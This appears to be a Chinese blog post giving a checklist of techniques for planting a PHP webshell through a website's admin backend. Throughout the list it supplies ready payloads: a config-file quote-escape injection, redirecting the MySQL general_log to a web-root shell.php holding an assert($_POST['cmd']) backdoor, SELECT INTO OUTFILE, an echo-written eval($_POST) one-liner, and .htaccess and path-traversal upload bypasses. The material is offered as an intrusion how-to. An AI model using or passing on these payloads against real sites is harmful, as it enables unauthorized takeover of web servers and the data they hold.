后台getshell常用技巧总结

浅浅的花香味﹌ 2023-01-08 02:12 195阅读 0赞

**1.利用文件上传漏洞，找文件上传处想办法上传php文件。**

一些网站在设置可以允许修改上传的文件类型则直接添加php

有时候会还有检测是否为php文件，可以通过文件名变形，大小写，双写等形式绕过，只要是黑名单的都比较好绕过。

很多cms还有.htaccess文件禁止访问或者执行这个目录下的文件的情况。

这种情况直接上传一个.htaccess文件覆盖这个，让其失效。

或者上传不重命名的话，上传../../shell.php,传到其他不被限制访问的目录。

或者找任意文件删除漏洞把.htaccess文件删除。

**2.找文件配置的地方写入php代码，一般都有过滤的，想办法绕过。**

过滤单引号的话可以用注释把上一个的内容注释掉，在下一个参数配置注入代码。

效果如下:

$conf_1 = 'xx\';
    $conf_2 = ';phpinfo();//'

这样就相当于

$conf_1 = 'xx\';$conf_2 = ';
    phpinfo();

php代码就可以执行了，防护比较弱的话直接访问这个配置文件就可以getshell了。

防护比较好的禁止访问配置文件时，就找包含这个配置文件的文件即可。

3.**找有没有存在任意文件包含的地方，本地包含的话直接上传php代码的图片，远程包含的话就在自己的服务器上设置php代码文件。**

4.**sql注入getshell，要知道网站的绝对路径**

方法一：利用设置mysql log为php文件，并设置路径到网站目录下，这样就可以把sql中执行的php语句插入的log中了。

如:

SETglobal general_log='on';
    SETglobalgeneral_log_file='D:/webshell/WWW/shell.php';#如果没有shell.php

会自动创建

SELECT'<?php assert($_POST["cmd"]);?>';

方法二:

select "<?php phpinfo(); ?>" into outfile 'shell路径.php'

**5.远程图片文件下载**

有时候远程图片下载的时候，可以设置一下下载自己的php文件

如 自己服务器上的文件1.php

<?php
    echo "<?php phpinfo(); ?>";
    ?>

或者别的方式，让页面有php代码，如果不过滤后缀的话直接会下载这个php文件。

**6.zip解压getshell**

这个在系统升级或者插件安装的地方很多都有这个问题。上传shell.php在压缩包中，上传系统升级时会解压缩，那么就可以getshell

7.缓存写入

有些地方会把缓存写入到一个php文件里，想办法让自己的payload写入缓存中。

8.数据库备份getshell

有些提供功能可以通过数据库备份进行修改文件后缀。

9.编辑模板getshell

在网站编辑模板插入一句话。

10.命令执行拿webshell

echo <?php @eval($\_POST(a));?> >路径.php

可以用相对路径也可以用绝对路径

11.编辑器漏洞getshell

要留意cms使用的编辑器版本是否是已知漏洞的版本

12.利用文件解析漏洞拿webshell

13.找可以执行代码的函数，看看参数是否可控

14.找写文件的函数，看看文件后缀和内容是否可控

15,. 没有进入后台

0day拿webshell

IIS写权限拿webshell(put一个shell进去)

命令执行拿webshell

通过注入漏洞拿webshell

前台图片上传拿webshell

Structs2拿webshell

java反序列拿webshell

发表评论取消回复

表情：

评论列表（有 0 条评论，195人围观）

还没有评论，来说两句吧...

相关阅读

相关 Jspxcms后台的zip解压功能getshell

Jspxcms后台的zip解压功能getshell

深藏阁楼爱情的钟/ 2024年05月23日 14:15/ 0 赞/ 59 阅读

相关 Maven基础：常用技巧总结(1)

这篇文章总结一下Maven在使用中的常用的基础知识技巧。 1: GAV：Maven坐标格式示例 <groupId>Maven坐标之：G</groupI

拼搏现实的明天。/ 2023年07月06日 06:30/ 0 赞/ 23 阅读

相关 git 常用技巧总结

git无法pull仓库refusing to merge unrelated histories git pull remote master --allow-u

偏执的太偏执、/ 2023年05月31日 07:06/ 0 赞/ 19 阅读

相关后台getshell常用技巧总结

1.利用文件上传漏洞，找文件上传处想办法上传php文件。一些网站在设置可以允许修改上传的文件类型则直接添加php 有时候会还有检测是否为php文件，可以通过文件名变形，大

浅浅的花香味﹌/ 2023年01月08日 02:12/ 0 赞/ 196 阅读

相关 Getshell思路总结

getshell的常见方法总结 ![在这里插入图片描述][watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cH

短命女/ 2023年01月07日 11:24/ 0 赞/ 264 阅读

相关记一次曲折的后台getshell过程

最近团队在对某个厂商进行测试，辛辛苦苦搞了快一个星期才拿到一个 shell，弟弟太惨了 0x01 开始复现访问url进入登录界面，输入管理密码进入页面 ![图片][

た入场券/ 2023年01月02日 08:23/ 0 赞/ 184 阅读

相关 Python常用小技巧总结

Pandas数据分析常用小技巧 -------------------- 数据分析中pandas的小技巧，快速进行数据预处理，欢迎点赞收藏，持续更新，作者：北山啦 -

╰半橙微兮°/ 2022年10月27日 13:48/ 0 赞/ 290 阅读

相关 ios xcode常用调试技巧总结

一、Xcode调试技巧之：NSLog > 在我们日常的开发过程中最常见的Debug方式就是打Log。而在O[C语言][C]中，打Log是采用NSLog方法。

谁践踏了优雅/ 2022年06月10日 00:18/ 0 赞/ 356 阅读

相关 Source Insight 常用技巧总结图文

本文使用环境为Source Insight 4.0，安装方法可以看我的另外一篇文章 -------------------- 刚打开一个工程的时候是这样的，不能看文件 !

太过爱你忘了你带给我的痛/ 2022年05月13日 15:50/ 0 赞/ 205 阅读

相关 Pycharm常用高效技巧总结

文章目录 1、PyCharm如何自动生成函数注释 2、pycharm运行程序时在Python console窗口中运行 3、Pyc

￡神魔★判官ぃ/ 2022年04月14日 06:22/ 0 赞/ 443 阅读